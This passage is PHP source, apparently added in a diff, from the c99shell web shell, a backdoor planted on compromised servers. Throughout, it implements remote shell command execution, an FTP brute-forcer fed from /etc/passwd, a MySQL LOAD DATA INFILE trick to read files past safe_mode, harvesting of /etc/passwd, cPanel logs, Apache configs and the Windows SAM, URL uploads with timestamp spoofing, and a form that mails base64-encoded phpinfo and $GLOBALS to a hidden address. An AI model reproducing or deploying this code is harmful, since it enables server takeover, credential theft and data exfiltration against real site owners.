"<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} 